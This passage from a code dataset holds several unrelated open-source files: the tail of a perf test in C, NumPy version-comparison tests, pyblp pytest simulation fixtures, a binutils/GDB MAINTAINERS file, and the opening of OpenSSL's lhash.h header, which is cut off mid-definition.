out;\n\t}\n\n\tsleep(1);\n\n\terr = TEST_OK;\n\n\tmunmap(event, mmap_len);\n\n\tfor (i = 0; i < 2; i++)\n\t\tclose(fd[i]);\n\n\tkill(pid, SIGKILL);\n\twait(NULL);\nout:\n\tperf_evlist__delete(evlist);\n\treturn err;\n}\n"} {"text": "\"\"\"Tests for the NumpyVersion class.\n\n\"\"\"\nfrom __future__ import division, absolute_import, print_function\n\nfrom numpy.testing import assert_, assert_raises\nfrom numpy.lib import NumpyVersion\n\n\ndef test_main_versions():\n assert_(NumpyVersion('1.8.0') == '1.8.0')\n for ver in ['1.9.0', '2.0.0', '1.8.1']:\n assert_(NumpyVersion('1.8.0') < ver)\n\n for ver in ['1.7.0', '1.7.1', '0.9.9']:\n assert_(NumpyVersion('1.8.0') > ver)\n\n\ndef test_version_1_point_10():\n # regression test for gh-2998.\n assert_(NumpyVersion('1.9.0') < '1.10.0')\n assert_(NumpyVersion('1.11.0') < '1.11.1')\n assert_(NumpyVersion('1.11.0') == '1.11.0')\n assert_(NumpyVersion('1.99.11') < '1.99.12')\n\n\ndef test_alpha_beta_rc():\n assert_(NumpyVersion('1.8.0rc1') == '1.8.0rc1')\n for ver in ['1.8.0', '1.8.0rc2']:\n assert_(NumpyVersion('1.8.0rc1') < ver)\n\n for ver in ['1.8.0a2', '1.8.0b3', '1.7.2rc4']:\n assert_(NumpyVersion('1.8.0rc1') > ver)\n\n assert_(NumpyVersion('1.8.0b1') > '1.8.0a2')\n\n\ndef test_dev_version():\n assert_(NumpyVersion('1.9.0.dev-Unknown') < '1.9.0')\n for ver in ['1.9.0', '1.9.0a1', '1.9.0b2', '1.9.0b2.dev-ffffffff']:\n assert_(NumpyVersion('1.9.0.dev-f16acvda') < ver)\n\n assert_(NumpyVersion('1.9.0.dev-f16acvda') == '1.9.0.dev-11111111')\n\n\ndef test_dev_a_b_rc_mixed():\n assert_(NumpyVersion('1.9.0a2.dev-f16acvda') == '1.9.0a2.dev-11111111')\n assert_(NumpyVersion('1.9.0a2.dev-6acvda54') < '1.9.0a2')\n\n\ndef test_dev0_version():\n assert_(NumpyVersion('1.9.0.dev0+Unknown') < '1.9.0')\n for ver in ['1.9.0', '1.9.0a1', '1.9.0b2', '1.9.0b2.dev0+ffffffff']:\n assert_(NumpyVersion('1.9.0.dev0+f16acvda') < ver)\n\n assert_(NumpyVersion('1.9.0.dev0+f16acvda') == '1.9.0.dev0+11111111')\n\n\ndef test_dev0_a_b_rc_mixed():\n assert_(NumpyVersion('1.9.0a2.dev0+f16acvda') == '1.9.0a2.dev0+11111111')\n assert_(NumpyVersion('1.9.0a2.dev0+6acvda54') < '1.9.0a2')\n\n\ndef test_raises():\n for ver in ['1.9', '1,9.0', '1.7.x']:\n assert_raises(ValueError, NumpyVersion, ver)\n"} {"text": "\"\"\"Fixtures used by tests.\"\"\"\n\nimport hashlib\nimport os\nfrom typing import Any, Callable, Dict, Hashable, Iterator, List, Tuple\n\nimport numpy as np\nimport patsy\nimport pytest\nimport scipy.linalg\n\nfrom pyblp import (\n Formulation, Integration, Problem, ProblemResults, DemographicExpectationMoment, DemographicCovarianceMoment,\n DiversionProbabilityMoment, DiversionCovarianceMoment, Simulation, SimulationResults,\n build_differentiation_instruments, build_id_data, build_matrix, build_ownership, options\n)\nfrom pyblp.utilities.basics import update_matrices, Array, Data, Options\n\n\n# define common types\nSimulationFixture = Tuple[Simulation, SimulationResults, Dict[str, Array], List[Any]]\nSimulatedProblemFixture = Tuple[Simulation, SimulationResults, Problem, Options, ProblemResults]\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef configure() -> Iterator[None]:\n \"\"\"Configure NumPy so that it raises all warnings as exceptions. Next, if a DTYPE environment variable is set in\n this testing environment that is different from the default data type, use it for all numeric calculations. Finally,\n cache results for SciPy linear algebra routines. This is very memory inefficient but guarantees that linear algebra\n will always give rise to the same deterministic result, which is important for precise testing of equality.\n \"\"\"\n\n # configure NumPy so that it raises all warnings as exceptions\n old_error = np.seterr(all='raise')\n\n # use any different data type for all numeric calculations\n old_dtype = options.dtype\n dtype_string = os.environ.get('DTYPE')\n if dtype_string:\n options.dtype = np.dtype(dtype_string)\n if np.finfo(options.dtype).dtype == old_dtype:\n pytest.skip(f\"The {dtype_string} data type is the same as the default one in this environment.\")\n\n def patch(uncached: Callable) -> Callable:\n \"\"\"Patch a function by caching its array arguments.\"\"\"\n mapping: Dict[Hashable, Array] = {}\n\n def cached(*args: Array, **kwargs: Any) -> Array:\n \"\"\"Replicate the function, caching its results.\"\"\"\n nonlocal mapping\n key = tuple(hashlib.sha1(a.data.tobytes()).digest() for a in args)\n if key not in mapping:\n mapping[key] = uncached(*args, **kwargs)\n return mapping[key]\n\n return cached\n\n # patch the functions\n old = {}\n for name in ['inv', 'solve', 'svd', 'eigvalsh', 'pinv', 'qr']:\n old[name] = getattr(scipy.linalg, name)\n setattr(scipy.linalg, name, patch(old[name]))\n\n # run tests before reverting all changes\n yield\n for name, old in old.items():\n setattr(scipy.linalg, name, old)\n options.dtype = old_dtype\n np.seterr(**old_error)\n\n\n@pytest.fixture(scope='session')\ndef small_logit_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with two markets, a linear constant, linear prices, a linear characteristic, a cost\n characteristic, and a scaled epsilon.\n \"\"\"\n id_data = build_id_data(T=2, J=18, F=3)\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + prices + x'),\n None,\n Formulation('0 + a')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'clustering_ids': np.random.RandomState(0).choice(range(10), id_data.size)\n },\n beta=[1, -5, 1],\n gamma=2,\n xi_variance=0.001,\n omega_variance=0.001,\n correlation=0.7,\n epsilon_scale=0.5,\n seed=0,\n )\n simulation_results = simulation.replace_exogenous('x', 'a')\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef large_logit_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with ten markets, a linear constant, linear prices, a linear/cost characteristic, another two\n linear characteristics, another two cost characteristics, and a quantity-dependent, log-linear cost specification.\n \"\"\"\n id_data = build_id_data(T=10, J=20, F=9)\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + prices + x + y + z'),\n None,\n Formulation('0 + log(x) + a + b + shares')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'clustering_ids': np.random.RandomState(2).choice(range(30), id_data.size)\n },\n beta=[1, -6, 1, 2, 3],\n gamma=[0.1, 0.2, 0.3, -0.1],\n xi_variance=0.00001,\n omega_variance=0.00001,\n correlation=0.1,\n costs_type='log',\n seed=2\n )\n simulation_results = simulation.replace_endogenous()\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef small_nested_logit_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with four markets, linear prices, two linear characteristics, two cost characteristics, and\n two nesting groups with different nesting parameters.\n \"\"\"\n id_data = build_id_data(T=4, J=18, F=3)\n simulation = Simulation(\n product_formulations=(\n Formulation('0 + prices + x + y'),\n None,\n Formulation('0 + a + b')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'nesting_ids': np.random.RandomState(0).choice(['f', 'g'], id_data.size),\n 'clustering_ids': np.random.RandomState(0).choice(range(10), id_data.size)\n },\n beta=[-5, 1, 1],\n gamma=[2, 1],\n rho=[0.1, 0.2],\n xi_variance=0.001,\n omega_variance=0.001,\n correlation=0.7,\n seed=0\n )\n simulation_results = simulation.replace_endogenous()\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef large_nested_logit_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with ten markets, a linear constant, linear prices, a linear/cost characteristic, another two\n linear characteristics, another three cost characteristics, three nesting groups with the same nesting\n parameter, and a log-linear cost specification.\n \"\"\"\n id_data = build_id_data(T=10, J=20, F=9)\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + prices + x + y + z'),\n None,\n Formulation('0 + log(x) + a + b + c')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'nesting_ids': np.random.RandomState(2).choice(['f', 'g', 'h'], id_data.size),\n 'clustering_ids': np.random.RandomState(2).choice(range(30), id_data.size)\n },\n beta=[1, -6, 1, 2, 3],\n gamma=[0.1, 0.2, 0.3, 0.5],\n rho=0.1,\n xi_variance=0.00001,\n omega_variance=0.00001,\n correlation=0.9,\n costs_type='log',\n seed=2\n )\n simulation_results = simulation.replace_endogenous()\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef small_blp_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with three markets, linear prices, a linear/nonlinear characteristic, two cost\n characteristics, and uniform unobserved product characteristics.\n \"\"\"\n id_data = build_id_data(T=3, J=18, F=3)\n uniform = 0.001 * np.random.RandomState(0).uniform(size=(id_data.size, 3))\n simulation = Simulation(\n product_formulations=(\n Formulation('0 + prices + x'),\n Formulation('0 + x'),\n Formulation('0 + a + b')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'clustering_ids': np.random.RandomState(0).choice(range(10), id_data.size)\n },\n beta=[-5, 1],\n sigma=2,\n gamma=[2, 1],\n integration=Integration('product', 3),\n xi=uniform[:, 0] + uniform[:, 1],\n omega=uniform[:, 0] + uniform[:, 2],\n seed=0\n )\n simulation_results = simulation.replace_endogenous()\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef medium_blp_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with four markets, linear/nonlinear/cost constants, two linear characteristics, two cost\n characteristics, a demographic interacted with second-degree prices, an alternative ownership structure, and a\n scaled epsilon.\n \"\"\"\n id_data = build_id_data(T=4, J=25, F=6)\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + x + y'),\n Formulation('1 + I(prices**2)'),\n Formulation('1 + a + b')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'clustering_ids': np.random.RandomState(1).choice(range(20), id_data.size),\n 'ownership': build_ownership(id_data, lambda f, g: 1 if f == g else (0.1 if f > 3 and g > 3 else 0))\n },\n beta=[1, 2, 1],\n sigma=[\n [0.5, 0],\n [0.0, 0],\n ],\n pi=[\n [+0],\n [-3]\n ],\n gamma=[1, 1, 2],\n agent_formulation=Formulation('0 + f'),\n integration=Integration('product', 4),\n xi_variance=0.0001,\n omega_variance=0.0001,\n correlation=0.8,\n epsilon_scale=0.7,\n seed=1,\n )\n simulation_results = simulation.replace_endogenous()\n simulated_micro_moments = [DemographicCovarianceMoment(\n X2_index=0, demographics_index=0, values=0, market_ids=[simulation.unique_market_ids[2]]\n )]\n return simulation, simulation_results, {}, simulated_micro_moments\n\n\n@pytest.fixture(scope='session')\ndef large_blp_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with 20 markets, varying numbers of products per market, a linear constant, log-linear\n coefficients on prices, a linear/nonlinear/cost characteristic, another three linear characteristics, another two\n cost characteristics, demographics interacted with prices and the linear/nonlinear/cost characteristic, dense\n parameter matrices, a log-linear cost specification, and local differentiation instruments.\n \"\"\"\n id_data = build_id_data(T=20, J=20, F=9)\n\n keep = np.arange(id_data.size)\n np.random.RandomState(0).shuffle(keep)\n id_data = id_data[keep[:int(0.5 * id_data.size)]]\n\n product_ids = id_data.market_ids.copy()\n for t in np.unique(id_data.market_ids):\n product_ids[id_data.market_ids == t] = np.arange((id_data.market_ids == t).sum())\n\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + x + y + z + q'),\n Formulation('1 + I(-prices) + x'),\n Formulation('0 + log(x) + log(a) + log(b)')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'product_ids': product_ids,\n 'clustering_ids': np.random.RandomState(2).choice(range(30), id_data.size)\n },\n beta=[1, 1, 2, 3, 1],\n sigma=[\n [0, +0.0, 0],\n [0, +0.5, 0],\n [0, -0.2, 2]\n ],\n pi=[\n [0, 0, 0],\n [2, 1, 0],\n [0, 0, 2]\n ],\n gamma=[0.1, 0.2, 0.3],\n agent_formulation=Formulation('1 + f + g'),\n integration=Integration('product', 4),\n xi_variance=0.00001,\n omega_variance=0.00001,\n correlation=0.9,\n distributions=['normal', 'lognormal', 'normal'],\n costs_type='log',\n seed=2\n )\n simulation_results = simulation.replace_endogenous()\n simulated_data_override = {\n 'demand_instruments': np.c_[\n build_differentiation_instruments(Formulation('0 + x + y + z + q'), simulation_results.product_data),\n build_matrix(Formulation('0 + a + b'), simulation_results.product_data)\n ],\n 'supply_instruments': np.c_[\n build_differentiation_instruments(Formulation('0 + x + a + b'), simulation_results.product_data),\n build_matrix(Formulation('0 + y + z + q'), simulation_results.product_data)\n ]\n }\n simulated_micro_moments = [\n DemographicExpectationMoment(product_id=0, demographics_index=1, values=0),\n DemographicExpectationMoment(\n product_id=None, demographics_index=1, values=0, market_ids=simulation.unique_market_ids[1:4]\n ),\n DemographicCovarianceMoment(\n X2_index=0, demographics_index=2, values=0, market_ids=simulation.unique_market_ids[3:5]\n ),\n DiversionProbabilityMoment(\n product_id1=1, product_id2=0, values=0, market_ids=simulation.unique_market_ids[6:10]\n ),\n DiversionProbabilityMoment(\n product_id1=None, product_id2=1, values=0, market_ids=[simulation.unique_market_ids[8]]\n ),\n DiversionProbabilityMoment(\n product_id1=1, product_id2=None, values=0, market_ids=[simulation.unique_market_ids[9]]\n ),\n DiversionCovarianceMoment(\n X2_index1=1, X2_index2=1, values=0, market_ids=[simulation.unique_market_ids[12]]\n ),\n ]\n return simulation, simulation_results, simulated_data_override, simulated_micro_moments\n\n\n@pytest.fixture(scope='session')\ndef small_nested_blp_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with eight markets, linear prices, a linear/nonlinear characteristic, another linear\n characteristic, three cost characteristics, and two nesting groups with different nesting parameters.\n \"\"\"\n id_data = build_id_data(T=8, J=18, F=3)\n simulation = Simulation(\n product_formulations=(\n Formulation('0 + prices + x + z'),\n Formulation('0 + x'),\n Formulation('0 + a + b + c')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'nesting_ids': np.random.RandomState(0).choice(['f', 'g'], id_data.size),\n 'clustering_ids': np.random.RandomState(0).choice(range(10), id_data.size)\n },\n beta=[-5, 1, 2],\n sigma=2,\n gamma=[2, 1, 1],\n rho=[0.1, 0.2],\n integration=Integration('product', 3),\n xi_variance=0.001,\n omega_variance=0.001,\n correlation=0.7,\n seed=0\n )\n simulation_results = simulation.replace_endogenous()\n return simulation, simulation_results, {}, []\n\n\n@pytest.fixture(scope='session')\ndef large_nested_blp_simulation() -> SimulationFixture:\n \"\"\"Solve a simulation with 20 markets, varying numbers of products per market, a linear constant, log-normal\n coefficients on prices, a linear/nonlinear/cost characteristic, another three linear characteristics, another two\n cost characteristics, demographics interacted with prices and the linear/nonlinear/cost characteristic, three\n nesting groups with the same nesting parameter, and a log-linear cost specification.\n \"\"\"\n id_data = build_id_data(T=20, J=20, F=9)\n\n keep = np.arange(id_data.size)\n np.random.RandomState(0).shuffle(keep)\n id_data = id_data[keep[:int(0.5 * id_data.size)]]\n\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + x + y + z + q'),\n Formulation('0 + I(-prices) + x'),\n Formulation('0 + log(x) + log(a) + log(b)')\n ),\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'nesting_ids': np.random.RandomState(2).choice(['f', 'g', 'h'], id_data.size),\n 'clustering_ids': np.random.RandomState(2).choice(range(30), id_data.size)\n },\n beta=[1, 1, 2, 3, 1],\n sigma=[\n [0.5, 0],\n [0.0, 2]\n ],\n pi=[\n [2, 1, 0],\n [0, 0, 2]\n ],\n gamma=[0.1, 0.2, 0.3],\n rho=0.1,\n agent_formulation=Formulation('1 + f + g'),\n integration=Integration('product', 4),\n xi_variance=0.00001,\n omega_variance=0.00001,\n correlation=0.9,\n distributions=['lognormal', 'normal'],\n costs_type='log',\n seed=2,\n )\n simulation_results = simulation.replace_endogenous()\n simulated_micro_moments = [DemographicExpectationMoment(\n product_id=None, demographics_index=1, values=0, market_ids=simulation.unique_market_ids[3:5]\n )]\n return simulation, simulation_results, {}, simulated_micro_moments\n\n\n@pytest.fixture(scope='session', params=[\n pytest.param(['small_logit', False], id=\"small Logit simulation without supply\"),\n pytest.param(['small_logit', True], id=\"small Logit simulation with supply\"),\n pytest.param(['large_logit', False], id=\"large Logit simulation without supply\"),\n pytest.param(['large_logit', True], id=\"large Logit simulation with supply\"),\n pytest.param(['small_nested_logit', False], id=\"small nested Logit simulation without supply\"),\n pytest.param(['small_nested_logit', True], id=\"small nested Logit simulation with supply\"),\n pytest.param(['large_nested_logit', False], id=\"large nested Logit simulation without supply\"),\n pytest.param(['large_nested_logit', True], id=\"large nested Logit simulation with supply\"),\n pytest.param(['small_blp', False], id=\"small BLP simulation without supply\"),\n pytest.param(['small_blp', True], id=\"small BLP simulation with supply\"),\n pytest.param(['medium_blp', False], id=\"medium BLP simulation without supply\"),\n pytest.param(['medium_blp', True], id=\"medium BLP simulation with supply\"),\n pytest.param(['large_blp', False], id=\"large BLP simulation without supply\"),\n pytest.param(['large_blp', True], id=\"large BLP simulation with supply\"),\n pytest.param(['small_nested_blp', False], id=\"small nested BLP simulation without supply\"),\n pytest.param(['small_nested_blp', True], id=\"small nested BLP simulation with supply\"),\n pytest.param(['large_nested_blp', False], id=\"large nested BLP simulation without supply\"),\n pytest.param(['large_nested_blp', True], id=\"large nested BLP simulation with supply\"),\n])\ndef simulated_problem(request: Any) -> SimulatedProblemFixture:\n \"\"\"Configure and solve a simulated problem, either with or without supply-side data. Preclude overflow with rho\n bounds that are more conservative than the default ones.\n \"\"\"\n name, supply = request.param\n simulation, simulation_results, simulated_data_override, simulated_micro_moments = (\n request.getfixturevalue(f'{name}_simulation')\n )\n\n # override the simulated data\n product_data = None\n if simulated_data_override:\n product_data = update_matrices(\n simulation_results.product_data,\n {k: (v, v.dtype) for k, v in simulated_data_override.items()}\n )\n\n # update micro moment values\n micro_moments: List[Any] = []\n if simulated_micro_moments:\n micro_values = simulation_results.compute_micro_values(simulated_micro_moments)\n for moment, values in zip(simulated_micro_moments, micro_values.T):\n if isinstance(moment, DemographicExpectationMoment):\n micro_moments.append(DemographicExpectationMoment(\n moment.product_id, moment.demographics_index, values[np.isfinite(values)], moment.market_ids\n ))\n elif isinstance(moment, DemographicCovarianceMoment):\n micro_moments.append(DemographicCovarianceMoment(\n moment.X2_index, moment.demographics_index, values[np.isfinite(values)], moment.market_ids\n ))\n elif isinstance(moment, DiversionProbabilityMoment):\n micro_moments.append(DiversionProbabilityMoment(\n moment.product_id1, moment.product_id2, values[np.isfinite(values)], moment.market_ids\n ))\n else:\n assert isinstance(moment, DiversionCovarianceMoment)\n micro_moments.append(DiversionCovarianceMoment(\n moment.X2_index1, moment.X2_index2, values[np.isfinite(values)], moment.market_ids\n ))\n\n # initialize and solve the problem\n problem = simulation_results.to_problem(simulation.product_formulations[:2 + int(supply)], product_data)\n solve_options = {\n 'sigma': simulation.sigma,\n 'pi': simulation.pi,\n 'rho': simulation.rho,\n 'beta': np.where(simulation._parameters.alpha_index, simulation.beta if supply else np.nan, np.nan),\n 'rho_bounds': (np.zeros_like(simulation.rho), np.minimum(0.9, 1.5 * simulation.rho)),\n 'method': '1s',\n 'check_optimality': 'gradient',\n 'micro_moments': micro_moments\n }\n problem_results = problem.solve(**solve_options)\n return simulation, simulation_results, problem, solve_options, problem_results\n\n\n@pytest.fixture(scope='session', params=[pytest.param(1, id=\"1 observation\"), pytest.param(10, id=\"10 observations\")])\ndef formula_data(request: Any) -> Data:\n \"\"\"Simulate patsy demo data with two-level categorical variables and varying numbers of observations.\"\"\"\n raw_data = patsy.user_util.demo_data('a', 'b', 'c', 'x', 'y', 'z', nlevels=2, min_rows=request.param)\n return {k: np.array(v) if isinstance(v[0], str) else np.abs(v) for k, v in raw_data.items()}\n"} {"text": "Please feel free to add, edit, delete this file.\nPlease do not make ChangeLog entries.\n\nCOPYING, COPYING.LIB, README\n\thttp://gnu.org.\n\nMakefile.*; configure; configure.ac; src-release\n\tAny global maintainer can approve changes to these\n\tfiles, but they should be aware\tthat they need to\n\tbe kept in sync with their counterparts in the GCC\n\trepository. Also please notify the following of\n\tany committed patches:\n\t\tbinutils@sourceware.org\n\t\tgdb-patches@sourceware.org\n\nbfd/; binutils/; elfcpp/; gas/; gold/; gprof/; ld/; opcodes/; cpu/;\nBFD's part of include/\n\n\tbinutils: http://sourceware.org/binutils/\n\tPatches to binutils@sourceware.org.\n\tPlease notify the following of any interface changes:\n\t\tgdb-patches@sourceware.org\n\ncgen/; cgen parts of opcodes/, sim/ & include/\n\tcgen: http://sourceware.org/cgen/\n\tPatches to cgen@sourceware.org\n\tMay need separate opcodes/ or sim/ approval for\n\t\tcommits of regenerated files there.\n\nconfig.guess; config.sub; readline/support/config.{sub,guess}\n\tconfig: http://savannah.gnu.org/projects/config\n\tPatches to config-patches@gnu.org.\n\tChanges need to be done in tandem with the official CONFIG\n\tsources or submitted to the master file maintainer and brought\n\tin via a merge. When updating any of these files, please be\n\tsure to update all of them.\n\tPlease notify the following of any committed patches:\n\t\tbinutils@sourceware.org\n\t\tgdb-patches@sourceware.org\n\ndepcomp\n Send bug reports and patches to bug-automake@gnu.org.\n\ngdb/; readline/; sim/; GDB's part of include/\n\tGDB: http://www.gnu.org/software/gdb/\n\tPatches to gdb-patches@sourceware.org.\n\tSee also gdb/MAINTAINERS and sim/MAINTAINERS.\n\ninclude/\n\tSee binutils/, gdb/, sid/, gcc/, libiberty/ etc.\n\nintl/; config.rhost; libiberty/; libiberty's part of include/ \n\tgcc: http://gcc.gnu.org\n\tChanges need to be done in tandem with the official GCC\n\tsources or submitted to the master file maintainer and brought\n\tin via a merge. Note: approved patches in gcc's libiberty or\n\tintl are automatically approved in this libiberty and intl also;\n\tfeel free to merge them yourself if needed sooner than the next\n\tmerge. Otherwise, changes are automatically merged, usually\n\twithin a day.\n\nlibdecnumber/\n\tSee libiberty. The master copy of this directory is in the GCC\n\trepository.\n\nltconfig; ltmain.sh; ltcf-*.sh\n\tlibtool: http://www.gnu.org/software/libtool/\n\tChanges need to be done in tandem with the official LIBTOOL\n\tsources or submitted to the master file maintainer and brought\n\tin via a merge.\n\nmkinstalldirs; move-if-change\n\tautoconf: http://gnu.org\n\tPatches to autoconf-patches@gnu.org.\n\tChanges need to be done in tandem with the official AUTOCONF\n\tsources or submitted to the master file maintainer and brought\n\tin via a merge.\n\nsymlink-tree\n\tgcc: http://gcc.gnu.org\n\tSee libiberty.\n\nnewlib/; libgloss/\n\thttp://sourceware.org/newlib/\n\tPatches to newlib@sourceware.org.\n\nsid/; SID's part of cgen/\n\tsid: http://sourceware.org/sid/\n\tPatches to sid@sourceware.org\n\ntexinfo/texinfo.tex\n\ttexinfo: http://ftp.gnu.org.\n\tLatest version can be found on ftp://ftp.gnu.org and can be\n\timported at any (reasonable) time.\n\tPlease not use GCC's texinfo. Please do not import texinfo.\n\ntcl/; tix/; itcl/; tk/; libgui/\n\tinsight: http://sourceware.org/insight/\n\tContact insight@sourceware.org.\n\nwinsup/\n\tcygwin: http://sourceware.org/cygwin\n\tPatches to cygwin-patches@cygwin.com.\n\tGeneral discussion cygwin@cygwin.com.\n\nconfig-ml.in; makefile.vms; mkdep; setup.com;\netc/; utils/;\n\tAny global maintainer can approve changes to these\n\tfiles and directories.\n\ncompile; depcomp; install-sh; missing; ylwrap;\nconfig/\n\tAny global maintainer can approve changes to these\n\tfiles and directories, but they should be aware\n\tthat they need to be kept in sync with their\n\tcounterparts in the GCC repository.\n\nmodules file\n\tIf you understand the file format (or can cut-and-paste existing\n\tentries), modify it. If it scares you, get someone who does\n\tunderstand it to help you. Be prepared to fix it if you do break it.\n\n/* Local variables: */\n/* change-log-default-name: \"/dev/null\" */\n/* End: */\n"} {"text": "/* crypto/lhash/lhash.h */\n/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n * This package is an SSL implementation written\n * by Eric Young (eay@cryptsoft.com).\n * The implementation was written so as to conform with Netscapes SSL.\n *\n * This library is free for commercial and non-commercial use as long as\n * the following conditions are aheared to. The following conditions\n * apply to all code found in this distribution, be it the RC4, RSA,\n * lhash, DES, etc., code; not just the SSL code. The SSL documentation\n * included with this distribution is covered by the same copyright terms\n * except that the holder is Tim Hudson (tjh@cryptsoft.com).\n *\n * Copyright remains Eric Young's, and as such any Copyright notices in\n * the code are not to be removed.\n * If this package is used in a product, Eric Young should be given attribution\n * as the author of the parts of the library used.\n * This can be in the form of a textual message at program startup or\n * in documentation (online or textual) provided with the package.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n * \"This product includes cryptographic software written by\n * Eric Young (eay@cryptsoft.com)\"\n * The word 'cryptographic' can be left out if the rouines from the library\n * being used are not cryptographic related :-).\n * 4. If you include any Windows specific code (or a derivative thereof) from\n * the apps directory (application code) you must include an acknowledgement:\n * \"This product includes software written by Tim Hudson (tjh@cryptsoft.com)\"\n *\n * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * The licence and distribution terms for any publically available version or\n * derivative of this code cannot be changed. i.e. this code cannot simply be\n * copied and put under another distribution licence\n * [including the GNU Public Licence.]\n */\n\n/*\n * Header for dynamic hash table routines Author - Eric Young\n */\n\n#ifndef HEADER_LHASH_H\n# define HEADER_LHASH_H\n\n# include <openssl/e_os2.h>\n# ifndef OPENSSL_NO_FP_API\n# include <stdio.h>\n# endif\n\n# ifndef OPENSSL_NO_BIO\n# include <openssl/bio.h>\n# endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct lhash_node_st {\n void *data;\n struct lhash_node_st *next;\n# ifndef OPENSSL_NO_HASH_COMP\n unsigned long hash;\n# endif\n} LHASH_NODE;\n\ntypedef int (*LHASH_COMP_FN_TYPE) (const void *, const void *);\ntypedef unsigned long (*LHASH_HASH_FN_TYPE) (const void *);\ntypedef void (*LHASH_DOALL_FN_TYPE) (void *);\ntypedef void (*LHASH_DOALL_ARG_FN_TYPE) (void *, void *);\n\n/*\n * Macros for declaring and implementing type-safe wrappers for LHASH\n * callbacks. This way, callbacks can be provided to LHASH structures without\n * function pointer casting and the macro-defined callbacks provide\n * per-variable casting before deferring to the underlying type-specific\n * callbacks. NB: It is possible to place a \"static\" in front of both the\n * DECLARE and IMPLEMENT macros if the functions are strictly internal.\n */\n\n/* First: \"hash\" functions */\n# define DECLARE_LHASH_HASH_FN(name, o_type) \\\n unsigned long name##_LHASH_HASH(const void *);\n# define IMPLEMENT_LHASH_HASH_FN(name, o_type) \\\n unsigned long name##_LHASH_HASH(const void *arg) { \\\n const o_type *a = arg; \\\n return name##_hash(a); }\n# define LHASH_HASH_FN(name) name##_LHASH_HASH\n\n/* Second: \"compare\" functions */\n# define DECLARE_LHASH_COMP_FN(name, o_type) \\\n int name##_LHASH_COMP(const void *, const void *);\n# define IMPLEMENT_LHASH_COMP_FN(name, o_type) \\\n int name##_LHASH_COMP(const void *arg1, const void *arg2) { \\\n const o_type *a = arg1; \\\n const o_type *b = arg2; \\\n return name##_cmp(a,b); }\n# define LHASH_COMP_FN(name) name##_LHASH_COMP\n\n/* Third: \"doall\" functions */\n# define DECLARE_LHASH_DOALL_FN(name, o_type) \\\n void name##_LHASH_DOALL(void *);\n# define IMPLEMENT_LHASH_DOALL_FN(name, o_type) \\\n void name##_LHASH_DOALL(void *arg) { \\\n o_type *a = arg; \\\n name##_doall(a); }\n# define LHASH_DOALL_FN(name) name##_LHASH_DOALL\n\n/* Fourth: \"doall_arg\" functions */\n# define DECLARE_LHASH_DOALL_ARG_FN(name, o_type, a_type) \\\n void name##_LHASH_DOALL_ARG(void *, void *);\n# define IMPLEMENT_LHASH_DOALL_ARG_FN(name, o_type, a_type) \\\n void name##_LHASH_DOALL_ARG(void *arg1, void *arg2) { \\\n o_type *a = arg1; \\\n a_type *b = arg2; \\\n name##_doall_arg(a, b); }\n# define LHASH_DOALL_ARG_FN(name) name##_LHASH_DOALL_ARG\n\ntypedef struct lhash_st {\n LHASH_NODE **b;\n 